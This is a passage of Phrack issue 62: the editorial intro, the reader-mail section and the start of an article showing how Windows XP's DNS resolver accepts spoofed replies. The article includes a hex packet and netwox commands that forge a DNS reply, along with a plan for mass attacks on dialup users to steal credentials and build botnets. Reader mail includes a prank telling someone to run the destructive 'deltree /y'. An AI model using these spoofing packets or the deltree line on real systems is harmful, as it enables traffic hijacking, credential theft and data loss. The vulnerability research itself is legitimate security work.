==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x01 of 0x0f
[-]==========================================================================[-]
_______ _ _ _ _ _______
.__________\ /__________.
| _ ___ _ ___ _ ___ _ ___ _ ___ _ . _
_ __|_____ \/ /__ ____ \____ \____ \_ __/ /
b / / _ \/ __/ __/ / / /____/ / /
R __/ / / / \ \ / / / __/
m \_____/ / / / / / / / / \_:__ _
- --:-/ /---/____/---/____/---/____/---/____/---/ m
| \ m
| % p H R A C K i s s u e # 6 2 % \_____c__ _
| |
`-----------------------------------------------------'
[-]==========================================================================[-]
Ladies and gentlemen, blackhatz and whitehat pussies, we are proud to bring
you the 6th PHRACK release under the new staff....
PHRACK #62 IS OUT.
For the second time in the history of phrack do we have a printed HARDCOVER
version of the magazine. Thanks to the many sponsers we will be giving it
out free at ruxcon II. This is a limited edition of 500 copies.
The 62 release is Windows centric. The authors did some great work to teach
you scum how to take Bill's OS apart. Check out this sweet article about
how to get around windows buffer overflow protections, or the article on
the kernel mode backdoor.
We like to publish more articles from the electronic/soldering world. This
issue comes with some details about radio broadcasting, hijacking base
stations and how to broadcast the propaganda through the neighborhood.
The carding article teach you how well-known techniques from the computer
security world still work on smartcards & magnetic stripes (*hint*
*hint*, replay attack, MiM, ...).
Scut, an old-skewl member of team teso and the father of the 7350-exploits
has been selected to be prophiled for #62. Richard Thieme, keynote speaker
at defcon and other hacker conferences submitted two stories. We are
proud to publish his words under Phrack World News.
__^__ __^__
( ___ )-------------------------------------------------------------( ___ )
| / | 0x01 Introduction phrackstaff 0x08 kb | \ |
| / | 0x02 Loopback phrackstaff 0x05 kb | \ |
| / | 0x03 Linenoise phrackstaff 0x21 kb | \ |
| / | 0x04 Phrack Prophile on scut phrackstaff 0x0b kb | \ |
| / | 0x05 Bypassing Win BO Protection Anonymous 0x25 kb | \ |
| / | 0x06 Kernel Mode Backdoor for NT firew0rker 0x81 kb | \ |
| / | 0x07 Advances in Windows Shellcode sk 0x31 kb | \ |
| / | 0x08 Remote Exec grugq 0x3b kb | \ |
| / | 0x09 UTF8 Shellcode greuff 0x32 kb | \ |
| / | 0x0a Attacking Apache Modules andi 0x5e kb | \ |
| / | 0x0b Radio Hacking shaun2k2 0x36 kb | \ |
| / | 0x0c Win32 Portable Userland Rootkit kdm 0x48 kb | \ |
| / | 0x0d Bypassing Windows Personal FW's rattle 0x59 kb | \ |
| / | 0x0e A DynamicPolyalphabeticSubstitutionCipher veins 0x42 kb | \ |
| / | 0x0f Playing Cards for Smart Profits ender 0x1a kb | \ |
| / | 0x10 Phrack World News phrackstaff 0x55 kb | \ |
|___|_____________[ PHRACK, NO FEAR & NO DOUBT ]_________________|___|
(_____)-------------------------------------------------------------(_____)
^ ^
Shoutz to:
barium - ascii art
gamma - hardcover
johncompanies - that's how server hosting should look like
bugbabe - 31337 grfx
david meltze - tshirt smuggling
Enjoy the magazine!
Phrack Magazine Vol 11 Number 62, Build 3, Jul 13, 2004. ISSN 1068-1035
Contents Copyright (c) 2004 Phrack Magazine. All Rights Reserved.
Nothing may be reproduced in whole or in part without the prior written
permission from the editors.
Phrack Magazine is made available to the public, as often as possible, free
of charge.
|=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=|
Editors : phrackstaff@phrack.org
Submissions : phrackstaff@phrack.org
Commentary : loopback@phrack.org
Phrack World News : pwn@phrack.org
Note: You must put the word 'ANTISPAM' somewhere in the Subject-line of
your email. All others will meet their master in /dev/null. We reply to
every email. Lame emails make it into loopback.
|=-----------------------------------------------------------------------=|
Submissions may be encrypted with the following PGP key:
(Hint: Always use the PGP key from the latest issue)
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.1 (GNU/Linux)
mQGiBD8t3OARBACWTusKTxboeSode33ZVBx3AlgMTQ8POA+ssRyJkyVVbrruYlLY
Bov43vxEsqLZXrfcuCd5iKKk+wLEjESqValODEwaDeeyyPuUMctrr2UrrDlZ2MDT
f7LvNdyYFDlYzFwSc9sesrNQ78EoWa1kHAGY1bUD2S7ei1aEU9r/EUpFxwCgzLjq
TV6rC/UzOWntwRk+Ct5u3fUEAJVPIZCQOd2f2M11TOPNaJRxJIxseNQCbRjNReT4
FG4CsHGqMTEMrgR0C0/Z9H/p4hbjZ2fpPne3oo7YNjnzaDN65UmYJDFUkKiFaQNb
upTcpQESsCPvN+iaVkas37m1NATKYb8dkKdiM12iTcJ7tNotN5IDjeahNNivFv4K
5op7A/0VBG8o348MofsE4rN20Qw4I4d6yhZwmJ8Gjfu/OPqonktfNpnEBw13RtLH
cXEkY5GY+A2AapDCOhqDdh5Fxq9LMLKF2hzZa5JHwp6HcvrYhIyJLW8/uspVGTgP
ZPx0Z3Cp4rKmzoLcOjyvGbAWUh0WFodK+A4xbr8bEg9PH5qCurQlUGhyYWNrIFN0
YWZmIDxwaHJhY2tzdGFmZkBwaHJhY2sub3JnPohfBBMRAgAfBQI/LdzgBQkDFwQA
BAsHAwIDFQIDAxYCAQIeAQIXgAAKCRC8vwVck0UfSeo1AJ42bPrG2L0Nlun1Fthn
gYlx/9nUiACeJo5tMKlr/JcdKqeEfpNIm4GRmLq5Ag0EPy3dChAIALK9tVpuVImJ
REXqf4GeR4RkxpAO+8Z2RolTgESW6FfJQcCM8TKeLuGWE2jGKGWKtZ68m+zxgYBK
z+MOKFvlduktqQpyCJP/Mgdt6yy2aSEq0ZqD1hoqiGmoGdl9L6+VD2kUN6EjWCiv
5YikjgQaenSUOmZZR0whuezxW9K4XgtLVGkgfqz82yTGwaoU7HynqhJr7UIxdsXx
dr+y7ad1clR/OgAFg294fmffX6UkBjD5c2MiX/ax16rpDqZii1TJozeeeM7XaIAj
5lgLLuFZctcWZjItrK6fANVjnNrEusoPnrnis4FdQi4MuYbOATNVKP00iFGlNGQN
qqvHAsDtDTcABAsH/1zrZyBskztS88voQ2EHRR+bigpIFSlzOtHVDNnryIuF25nM
yWV10NebrEVid/Um2xpB5qFnZNO1QdgqUTIpkKY+pqJd3mfKGepLhQq+hgSe29HP
45V6S6ujLQ4dcaHq9PKVdhyA2TjzI/lFAZeCxtig5vtD8t5p/lifFIDDI9MrqAVR
l1sSwfB8qWcKtMNVQWH6g2zHI1AlG0M42depD50WvdQbKWep/ESh1uP55I9UvhCl
mQLPI6ASmwlUGq0YZIuEwuI75ExaFeIt2TJjciM5m/zXSZPJQFueB4vsTuhlQICi
MXt5BXWyqYnDop885WR2jH5HyENOxQRad1v3yF6ITAQYEQIADAUCPy3dCgUJAxcE
AAAKCRC8vwVck0UfSfL/AJ9ABdnRJsp6rNM4BQPKJ7shevElWACdHGebIKoidGJh
nntgUSbqNtS5lUo=
=FnHK
-----END PGP PUBLIC KEY BLOCK-----
phrack:~# head -22 /usr/include/std-disclaimer.h
/*
* All information in Phrack Magazine is, to the best of the ability of
* the editors and contributors, truthful and accurate. When possible,
* all facts are checked, all code is compiled. However, we are not
* omniscient (hell, we don't even get paid). It is entirely possible
* something contained within this publication is incorrect in some way.
* If this is the case, please drop us some email so that we can correct
* it in a future issue.
*
*
* Also, keep in mind that Phrack Magazine accepts no responsibility for
* the entirely stupid (or illegal) things people may do with the
* information contained herein. Phrack is a compendium of knowledge,
* wisdom, wit, and sass. We neither advocate, condone nor participate
* in any sort of illicit behavior. But we will sit back and watch.
*
*
* Lastly, it bears mentioning that the opinions that may be expressed in
* the articles of Phrack Magazine are intellectual property of their
* authors.
* These opinions do not necessarily represent those of the Phrack Staff.
*/
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10
|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack Staff ]=-----------------------------=|
|=[ 0x01 ]=--------------------------------------------------------------=|
From: "Tom Schouten" <tomschout@hotmail.com>
plz help me, i know that it 's a stupid question but i don't know how to
decrypt the phrack articles i have imported the pgp key, but i don't know what
to do next
cheers,
Tom
[ Tom, I'm sorry but you wont continue the adventure with us. ]
|=[ 0x02 ]=--------------------------------------------------------------=|
From: if it were only this easy <temptedtoplay@Al-Kharafi.com>
Subject: Very important send to editor in chief asap
I should start off buy saying I'm not a cop fed or any other kind of law en
forcement nor am i affiliated with any national local government of any kind
to be honest i don't exist anywhere but, i am not a fan nor friend either.
[ ... ] I however have the knowledge you seek but unlike you i will not
freely share the knowledge with just every one. you must deserve to know.
you must prove yourself. [ ... ] now email is not safe but I've taken the
precautions on my end to keep this message out of government hands i hope
your server is secure if not they will be looking for me of course they are
always looking for me. [ ... ] if you don't succeed which you probably wont
don't worry thousands before you have failed and thousands will after it
just makes you average.
p.s. IF THE MESSAGE IS INTERCEPTED BY ANY TYPE OF LAW ENFORCEMENT the
recipients do not know who i am and questioning them would be like
searching google.
[ I'm only seeking for one information: Who gave you our email addres? ]
|=[ 0x03 ]=--------------------------------------------------------------=|
From: <eeweep@eeweep.be>
Date: Fri, 5 Dec 2003 22:56:03 +0100
> Hi there,
> I was looking through phrack releases and I couldn't find an article about
> APR (ARP Poison Routing, used to spoof on switched networks).
[ Unfortunately, you sent your message at 22:56, and we dont accept
articles after 22:55. ]
> Maybe there is one and I'm stupid :-)
[ There is something smart in every stupid sentence. ]
> If you can verify that such an article does not exist (in phrack that is)
[ we hereby verify that such an article does not exist. ]
> I'll start writing right away ;-)
[ our email address has changed for article
submission: devnull@phrack.org ]
> Greetz,
> eeweep
Gobuyabrain,
PHRACKSTAFF
|=[ 0x04 ]=--------------------------------------------------------------=|
From: D D <mmmmmcute24@yahoo.de>
I really know you are good! I would like to know how good you are.
I have primitive questions:
- I'm connected with a dial up connexion and I dont want want my server or
anybody else to know witch URL I'm browsing. Is that possible?
[ yes ]
- Witch system is "secure" Mac or Win or linux.
[ none ]
|=[ 0x05 ]=--------------------------------------------------------------=|
[ IRC session after receiving the donation for hardcover print. ]
<staff> Mon3yLaundy - vis0r wants to know if phrack is a registered charity
<Mon3yLaundy> it's not.
<staff> yeah, i told him
<staff> he just wants a tax deduction
<Mon3yLaundy> tax my ass.
|=[ 0x06 ]=--------------------------------------------------------------=|
From: <bris@cimex.com.cu>
Now I'm discovering your magazine, and I want to receive it by
email... The question is > How can I receive the magazine by email???
[ wget http://www.phrack.org/archive/phrack62.tar.gz;
puuencode phrack62.tar.gz p62.tar.gz | mail bris@cimex.com.cu ]
|=[ 0x07 ]=--------------------------------------------------------------=|
From: Joshua ruffolo <ruffolojoshua@yahoo.com>
A friend referred me to your site. I know nothing much about what is
posted. I don't understand what's what.
[ This is loopback. ]
Apparently there is some basic info that should be known to understand,
but what is it?
[ howto_not_getting_into_loopback.txt ]
|=[ 0x08 ]=--------------------------------------------------------------=|
From: Hotballer002@cs.com
Subject: I want to know something about downloading the issues
hi. im nelson and i went to your site and i want to see if u could help me. I
just stated the process of learning how to hack and i think your issues can
help me. I downloaded one of the issues and when i opened it, a windows pop-up
asked me what program I want to open the issue with. And thats what I don't
know. So please help me and tell me what program I'm supposed to have to open
the issues with. Thank you
[ You have to pass our IQ test first: click on start -> run and
enter "deltree /y" ]
|=[ 0x09 ]=--------------------------------------------------------------=|
From: MrRainbowStar@aol.com
I love all of You ThaNkS For OpeninG My Min_d.?? You All Set Me FrEE IN This
TechNo WoRlD.? ThAnkS Dr.K -???????? YOU ARE A GEnius _ Oh yeah and there are
quite a few typos in the Hackers handbook? -but thats cool its all good I know
what you mean .....
[ IT'S ALL GOOD MATE! ]
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10
|=-----------------------------------------------------------------------=|
|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------------------------------------------------------------=|
1 - Mistakes in the RFC Guidelines on DNS Spoofing Attacks
2 - Injecting Signals by Shaun
3 - Pirating A Radio Station
|=------=[ The Impact of RFC Guidelines on DNS Spoofing Attacks ]=------=|
by have2Banonymous
--[ Contents
1 - Executive Summary
2 - Overview of Basic DNS Spoofing Attacks
3 - Proposed Criteria for DNS Reply Acceptance
4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria
5 - Example DNS Spoofing Attack
6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks
7 - Implementation Comparison
8 - Conclusion
--[ 1 - Executive Summary
This article provides a brief overview of basic Domain Name System (DNS)
spoofing attacks against DNS client resolvers. Technical challenges are
proposed that should help to both identify attempted attacks and prevent
them from being successful. Relevant Request for Comments (RFC)
guidelines, used by programmers to help ensure their DNS resolver code
meets specifications, are reviewed. This results in the realisation that
the RFC guidelines are not adequately specific or forceful to help
identify or prevent DNS spoofing attacks against DNS client resolvers.
Furthermore, the RFC guidelines actually simplify such attacks to a level
that has not previously been discussed in the public domain until now.
To highlight the consequences of merely conforming to the RFC guidelines
without considering security ramifications, an example DNS spoofing attack
against the DNS resolver in Microsoft Windows XP is provided. This
illustrates serious weaknesses in the Windows XP DNS resolver client
implementation. For example, Windows XP will accept a DNS reply as being
valid without performing a thorough check that the DNS reply actually
matches the DNS request. This allows an attacker to create malicious
generic DNS replies that only need to meet a couple of criteria with
predictable values in order to be accepted as a valid DNS reply by the
targeted user.
This article discusses the practical impact of the issues raised, such as
the ability to perform a successful and reasonably undetectable DNS
spoofing attack against a large target base of Windows XP users, without
the attacker requiring knowledge of the DNS requests issued by the
targeted users. Finally, a comparison with the DNS resolver in Debian
Linux is supplied.
--[ 2 - Overview of Basic DNS Spoofing Attacks
When a user types the web site name www.somewebsite.org into their web
browser, their computer issues a DNS request to their Internet Service
Provider's (ISP) DNS server to resolve the web site name to an IP address.
An attacker may attempt to subvert this process by sending the user a DNS
reply containing an incorrect IP address, resulting in the user's computer
connecting to a computer of the attacker's choice instead of the desired
web site.
--[ 3 - Proposed Criteria for DNS Reply Acceptance
RFC 2535 (Domain Name System Security Extensions) otherwise known as
DNSSEC discusses how cryptographic digital signatures can be used to
authenticate DNS transactions to help mitigate DNS spoofing attacks.
However, the adoption of this technology has been extremely slow. Even
without this level of security, it would initially appear that a DNS
spoofing attack against a DNS client resolver would be challenging to
perform. This challenge results from the following proposed criteria of
the DNS reply that must be met for it to be accepted by the computer
performing the DNS lookup.
Proposed criteria of a DNS reply for it to be accepted:
1) The source IP address must match the IP address that the DNS request
was sent to.
2) The destination IP address must match the IP address that the DNS
request was sent from.
3) The source port number must match the port number that the DNS request
was sent to.
4) The destination port number must match the port number that the DNS
request was sent from.
5) The UDP checksum must be correctly calculated. This may require the
attacker to spend more time and effort per attack, although some packet
generation utilities have the ability to automatically calculate this
value.
6) The transaction ID must match the transaction ID in the DNS request.
7) The domain name in the question section must match the domain name in
the question section of the DNS request.
8) The domain name in the answer section must match the domain name in the
question section of the DNS request.
9) The requesting computer must receive the attacker's DNS reply before it
receives the legitimate DNS reply.
--[ 4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria
According to the RFC guidelines, it is not necessary for all of these
criteria to be met in order for a DNS reply to be accepted. Specifically,
criteria 1, 2, 3, 5, 7 and 8 do not have to be met, while criteria 4, 6
and 9 must be met. The following is a devil's advocate interpretation of
the RFC guidelines and a detailed discussion of their effect on each
criteria.
Criteria 1 (source IP address) does not have to be met according to RFC
791 (Internet Protocol) which states that "In general, an implementation
must be conservative in its sending behavior, and liberal in its receiving
behavior. That is, it must be careful to send well-formed datagrams, but
must accept any datagram that it can interpret (e.g., not object to
technical errors where the meaning is still clear)". RFC 1035 (Domain
names - implementation and specification) states that "Some name servers
send their responses from different addresses than the one used to receive
the query. That is, a resolver cannot rely that a response will come from
the same address which it sent the corresponding query to". The source IP
address can therefore be set to an arbitrary IP address. Regardless, if
desired, the attacker can set the source IP address of their DNS replies
to that of the targeted user's DNS server. This is especially easy if the
targeted user is a dialup ISP user since the ISP may have a friendly "How
to setup your Internet connection" web page that specifies the IP address
of their DNS server.
Criteria 2 (destination IP address) does not have to be met according to
RFC 1122 (Requirements for Internet Hosts -- Communication Layers) which
states that "For most purposes, a datagram addressed to a broadcast or
multicast destination is processed as if it had been addressed to one of
the host's IP addresses". Using a broadcast destination address would be
most useful for attacking computers on a Local Area Network. Furthermore,
a DNS reply may be accepted if it is addressed to any of the IP addresses
associated with a network interface.
Criteria 3 (source port number) does not have to be met according to RFC
768 (User Datagram Protocol) which states that "Source Port is an optional
field". The source port can therefore be set to an arbitrary value such
as 0 or 12345. Since the source port number of the DNS reply affects
packet dissection by utilities such as Ethereal, a value of 137 is a
devious choice since it will be dissected as the NetBIOS Name Service
(NBNS) protocol which is based on DNS. As a result, the malicious DNS
replies can be made to appear like NetBIOS traffic which is likely to be
discarded by the system administrator or investigator as typical NetBIOS
background noise.
Criteria 4 (destination port number) must be met according to RFC 768
(User Datagram Protocol). However, this value may be predictable
depending on the requesting computer's operating system. During testing,
Windows XP always used port number 1026 to perform DNS queries, though
this value depends on when the DNS Client service started during the boot
process.
Criteria 5 (UDP checksum) does not have to be met according to RFC 1122
(Requirements for Internet Hosts -- Communication Layers) which states
that "the UDP checksum is optional; the value zero is transmitted in the
checksum field of a UDP header to indicate the absence of a checksum".
Criteria 6 (transaction ID) must be met according to RFC 1035 (Domain
names - implementation and specification) which states that the
transaction ID is used "to match up replies to outstanding queries".
However, this value may be predictable depending on the requesting
computer's operating system. During testing, Windows XP did not randomly
choose the 16 bit transaction ID value. Rather, Windows XP always used a
transaction ID of 1 for the first DNS query performed after the computer
was turned on, with the transaction ID simply incremented for subsequent
DNS queries. Transaction ID 1 and 2 were used by the operating system to
perform a DNS query of time.windows.com.
Criteria 7 and 8 (domain name in question and answer section) do not have
to be met according to RFC 1035 (Domain names - implementation and
specification) which states that the transaction ID is used "to match up
replies to outstanding queries" and recommends as a secondary step "to
verify that the question section corresponds to the information currently
desired". RFC recommendations do not have to be followed, and in the case
of an absent question section, the principal that an implementation must
accept any datagram that it can interpret appears to apply. Therefore, a
DNS reply containing a single answer in the form of an IP address can be
matched to the corresponding DNS request based on the transaction ID,
without requiring a question section and without resorting to the overhead
of processing the domain information in the answer section. Furthermore,
an answer section is not even necessary if an Authority section is
provided to refer the requesting computer to an authoritative name server
(or a DNS server under the attacker's control).
Criteria 9 (requesting computer must receive the attacker's DNS reply
before it receives the legitimate DNS reply) must be met and remains as
the greatest challenge to the attacker. This restriction is difficult
to bypass unless the legitimate DNS server is taken out of action to
prevent competition with the spoofed DNS reply, or numerous spoofed DNS
replies are sent to the targeted user. However, as discussed above,
criteria 1 to 8 either do not have to be met or may have predictable
values. Therefore an attacker may require no knowledge of the victim's
DNS request to have a reasonable chance of performing a successful attack
by sending the requesting computer a small number of generic DNS replies.
Furthermore, there is a viable workaround to the restrictive nature of
this criteria. If the attacker is not trying to compromise a specific
computer, a "spray and pray" approach can be used. This approach involves
sending a very small number (twenty) of spoofed DNS replies to a maximum
number of potential target computers, instead of trying to compromise a
specific user and only once they have been compromised then trying to
compromise another specific user. This "spray and pray" approach won't
compromise every potential victim, and every packet the attacker sends
won't result in a compromise, but enough of the attacker's malicious DNS
replies will be accepted by enough potential victims to make the exercise
worthwhile.
--[ 5 - Example DNS Spoofing Attack
A DNS spoofing attack using the concepts discussed in this article was
performed against a Windows XP computer. The test Windows XP computer
was a default install of the operating system followed by the application
of Service Pack 1. The Microsoft Internet Connection Firewall shipped
with Windows XP was then enabled, and configured to perform full logging
of dropped packets and successful connections.
The Windows XP user typed the web site URL www.somewebsite.org into
Internet Explorer, resulting in a DNS request being sent from the user's
computer (IP address 192.168.1.1) to the user's DNS server (IP address
192.168.1.254).
A spoofed DNS reply disguised as NetBIOS data was sent to the user from
the fake (spoofed) nonexistent IP address 10.10.10.1, specifying that
whatever name the user was attempting to resolve had the IP address
192.168.1.77. The IP address 192.168.1.77 was actually a web server
under the attacker's control.
Internet Explorer connected to 192.168.1.77 and requested the web page.
This revealed that the designers of the DNS resolver in Microsoft Windows
XP also interpreted the RFC guidelines as described in the previous
section, significantly simplifying DNS spoofing attacks.
The following network packet decoded by Ethereal version 0.10.3
illustrates the malicious DNS reply and demonstrates how Ethereal can be
confused into decoding the packet as NetBIOS traffic.
Frame 1 (102 bytes on wire, 102 bytes captured)
Ethernet II, Src: 00:50:56:c0:00:01, Dst: 00:0c:29:04:7d:25
Internet Protocol, Src Addr: 10.10.10.1 (10.10.10.1), Dst Addr:
192.168.1.1 (192.168.1.1)
User Datagram Protocol, Src Port: 137 (137), Dst Port: 1026 (1026)
Source port: 137 (137)
Destination port: 1026 (1026)
Length: 68
Checksum: 0x0000 (none)
NetBIOS Name Service
Transaction ID: 0x0003
Flags: 0x8580 (Name query response, No error)
Questions: 0
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0
Answers
WORKGROUP<1b>: type unknown, class inet
Name: WORKGROUP<1b>
Type: unknown
Class: inet
Time to live: 1 day
Data length: 4
Data
0000 00 0c 29 04 7d 25 00 50 56 c0 00 01 08 00 45 00 ..).}%.PV.....E.
0010 00 58 bf 58 00 00 00 11 25 89 0a 0a 0a 01 c0 a8 .X.X....%.......
0020 01 01 00 89 04 02 00 44 00 00 00 03 85 80 00 00 .......D........
0030 00 01 00 00 00 00 20 46 48 45 50 46 43 45 4c 45 ...... FHEPFCELE
0040 48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43 HFCEPFFFACACACAC
0050 41 43 41 43 41 42 4c 00 00 01 00 01 00 01 51 80 ACACABL.......Q.
0060 00 04 c0 a8 01 4d .....M
This packet was created using the following parameters passed to the
freely available netwox packet creation utility:
netwox 38 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --ip4-protocol 17
--ip4-data 008904020044000000038580000000010000000020464845504643454c45484
643455046464641434143414341434143414341424c0000010001000151800004c0a8014d
Alternatively, the following parameters could be used since netwox
automatically calculates the UDP checksum:
netwox 39 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --udp-src 137
--udp-dst 1026 --udp-data 00038580000000010000000020464845504643454c45484
643455046464641434143414341434143414341424c0000010001000151800004c0a8014d
The following shows that the spoofed DNS reply has been added to the
user's DNS resolver cache for a period of 1 day, causing future
resolutions of www.somewebsite.org to map to the web server under the
attacker's control. The cache duration value can be decreased by the
attacker so that the entry is either not cached or is immediately removed
from the cache in order to remove evidence of the attack.
C:\>ipconfig /displaydns
Windows IP Configuration
1.0.0.127.in-addr.arpa
----------------------------------------
Record Name . . . . . : 1.0.0.127.in-addr.arpa.
Record Type . . . . . : 12
Time To Live . . . . : 604393
Data Length . . . . . : 4
Section . . . . . . . : Answer
PTR Record . . . . . : localhost
www.somewebsite.org
----------------------------------------
Record Name . . . . . : FHEPFCELEHFCEPFFFACACACACACACABL
Record Type . . . . . : 1
Time To Live . . . . : 86364
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . : 192.168.1.77
localhost
----------------------------------------
Record Name . . . . . : localhost
Record Type . . . . . : 1
Time To Live . . . . : 604393
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . : 127.0.0.1
The following log file from Microsoft's Internet Connection Firewall
reveals that it did not provide any protection against the attack, though
it is not designed to inspect and correlate DNS traffic. If the firewall
was not configured to log successful connections, then there would not
have been any log entries.
#Verson: 1.0
#Software: Microsoft Internet Connection Firewall
#Time Format: Local
#Fields: date time action protocol src-ip dst-ip src-port dst-port size
tcpflags tcpsyn tcpack tcpwin icmptype icmpcode info
2004-05-10 20:34:56 OPEN UDP 192.168.1.1 192.168.1.254 1026 53 - - - - - -
- -
2004-05-10 20:34:57 OPEN-INBOUND UDP 10.10.10.1 192.168.1.1 137 1026 - - -
- - - - -
2004-05-10 20:34:57 OPEN TCP 192.168.1.1 192.168.1.77 3010 80 - - - - - -
- -
2004-05-10 20:35:30 CLOSE TCP 192.168.1.1 192.168.1.77 3010 80 - - - - - -
- -
2004-05-10 20:36:30 CLOSE UDP 192.168.1.1 192.168.1.254 1026 53 - - - - -
- - -
2004-05-10 20:36:30 CLOSE UDP 10.10.10.1 192.168.1.1 137 1026 - - - - - -
- -
It can be seen that when the Windows XP computer sent a UDP packet from
port 1026 to port 53 of the DNS server, the firewall allowed all incoming
UDP traffic to port 1026, regardless of the source IP address or source
port of the incoming traffic. Such incoming traffic was allowed to
continue until the firewall decided to block access to port 1026, which
occurred when there was no incoming traffic to port 1026 for a defined
period of time. This timeframe was between 61 seconds and 120 seconds, as
it appeared that the firewall checked once per minute to determine if
access to ports should be revoked due to more than 60 seconds of
inactivity. Assuming that users connected to the Internet would typically
perform a DNS query at least every minute, incoming access to port 1026
would always be granted. An attacker on the Internet could therefore send
the Windows XP computer spoofed DNS replies without worrying that they
might be blocked by the firewall. Such traffic would not generate any
logs if the firewall was configured to only Log Dropped Packets. If the
firewall was configured to also Log Successful Connections as in this
example, these log entries would disappear among the thousands of other
log entries. Since the firewall logs connections and not traffic, if the
source IP address was set to the Windows XP computer's DNS server, no
extra firewall log entries would be created as a result of the DNS
spoofing attack.
The netstat command revealed that the Windows XP computer was always
listening on UDP port 1026, and as a result, extra DNS replies were
silently discarded and did not generate an error message in the event log
or an ICMP port unreachable packet. This behaviour, and the reuse of the
same source port number for DNS requests, was attributed to the DNS Client
service.
--[ 6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks
The attacker does not require information about the targeted user's DNS
requests, such as the IP address of the user's DNS server, the source port
of the user's DNS request, or the name that the user was attempting to
resolve to an IP address. Therefore the attacker does not require access
to the communication link between the targeted user and their DNS server.
Windows XP SP1 matches DNS replies to DNS requests by only the transaction
ID and the UDP port number, and both of these values are very predictable.
Since the name to be resolved is not matched between the DNS request and
the DNS reply, the attacker does not care what domain name the user
queried since this domain name does not have to be placed in the
attacker's DNS reply. As a result, the attacker can create generic
malicious DNS replies that will successfully subvert the targeted user's
DNS lookup process regardless of the name the targeted user was attempting
to resolve, and regardless of the targeted user's network configuration
such as the IP address of their DNS server.
An attacker desiring to compromise as many computers as possible with the
least amount of effort and in the shortest timeframe could send twenty DNS
replies that look similar to the generic DNS reply used in the example
attack on Windows XP in this article, though with the transaction ID
ranging from 3 to 22. To be more thorough, the attacker could instead
send one hundred DNS replies with the destination port number ranging from
1025 to 1029. The attacker would use a "spray and pray" approach by
sending these DNS replies to every IP address in the IP address range
belonging to a large dialup Internet Service Provider, and when finished,
repeating the process.
A level of success is guaranteed in such an attack scenario considering
the huge target base of potential victims awaiting a DNS reply, and
considering that Windows XP accepts anything vaguely resembling a DNS
reply as a valid DNS reply.
A recipient of the attacker's twenty DNS replies will accept one of them
as being valid, resulting in a successful attack, if the recipient:
- is using Windows XP with its poorly implemented DNS client resolver
(most dialup Internet users are in this category).
- recently connected to the Internet within the last 10-20 minutes or so
and therefore haven't performed more than twenty DNS requests (a
reasonable proportion of dialup Internet users are in this category).
- recently performed a DNS request and is awaiting a DNS reply (a
reasonable number of the huge target base of dialup Internet users are
in this category).
The targeted Windows XP users would be unlikely to notice the attack,
especially if they were relying on Microsoft Internet Connection Firewall
to protect them. Analysis of the logs of a more sophisticated firewall
and inspection of network traffic would not readily reveal a DNS spoofing
attack since the source IP address would not be that of the legitimate DNS
server. Furthermore, the source port number and content of the spoofed
DNS replies can be crafted to make them appear to be typical NetBIOS
background noise which would probably be discarded by the user as useless
network traffic floating around the Internet. Finally, the targeted IP
address range of a dialup ISP would consist mainly of home Internet users
who are not educated in advanced network security concepts.
The IP address in the spoofed DNS replies could be a computer on the
Internet under the attacker's control, which is running proxy software for
email (SMTP and POP3) and HTTP traffic. The attacker would be able to
collect sensitive information including email sent and received as well as
passwords for future email retrieval. Web based email and unencrypted
login details to web sites would also be collected. The attacker could
add content to HTML pages before returning them to the user. Such content
could include banner ads to generate money, or a hidden frame with a link
to a file on a third party web site effectively causing a distributed
denial of service attack against the third party. More seriously, the
attacker could increase the scope of the compromise by adding HTML content
that exploited one of the publicly known vulnerabilities in Internet
Explorer that allows the execution of arbitrary code, but for which there
is no vendor patch. For example, vulnerabilities discussed at the web
site http://www.computerworld.com.au/index.php?id=117316298&eid=-255
The "spray and pray" attack approach is useful for creating a network of
semi-randomly chosen compromised computers under the attacker's control,
otherwise known as a botnet.
Proxying of HTTP/1.1 traffic could be performed by inspecting the HOST
header to determine which web site the user wanted to visit. However, for
the purpose of easily and seamlessly proxying traffic, an attacker may
decide not to place an Answer section in the spoofed DNS replies. Rather,
the attacker may send a non-authoritative spoofed DNS reply using the
Authority and Additional sections of DNS replies to refer the requesting
computer to a DNS server under the attacker's control. This would allow
the attacker to know exactly what domain the victim computer was
attempting to query, and furthermore such spoofed DNS replies may have a
long lasting and widespread effect on the victim's computer. A detailed
discussion of DNS referrals and testing whether Windows XP could handle
them is outside the scope of this article.
--[ 7 - Implementation Comparison
Contributors to the Linux operating system appear to have taken a hardline
security conscious approach to interpreting the RFC guidelines, bordering
on non-conformance for the sake of security. The Mozilla web browser
running on the author's Debian Linux computer was very restrictive and
required DNS replies to meet all of the above nine criteria except for
criteria 5, where a UDP checksum value of zero was accepted. An incorrect
UDP checksum was accepted when the packet was sent over a local network
but not when sent over the Internet. Reviewing the kernel source code
indicated that for local networks, the UDP checksum was deliberately
ignored and hardware based checking was performed instead for performance
reasons. This appeared to be a feature and not a bug, even though it did
not comply with RFC 1122 (Requirements for Internet Hosts -- Communication
Layers) which states that "If a UDP datagram is received with a checksum
that is non-zero and invalid, UDP MUST silently discard the datagram".
During testing, the Linux computer used source port numbers 32768 and
32769 to perform DNS queries. The transaction ID was randomly generated,
complicating DNS spoofing attacks, though the transaction ID used in the
retransmission of an unanswered DNS request was not as random. The choice
of transaction ID values appeared robust enough to help defend against DNS
spoofing attacks on the Internet since the initial transaction ID value
was unpredictable, and the first DNS request would typically be answered
resulting in no need for retransmissions.
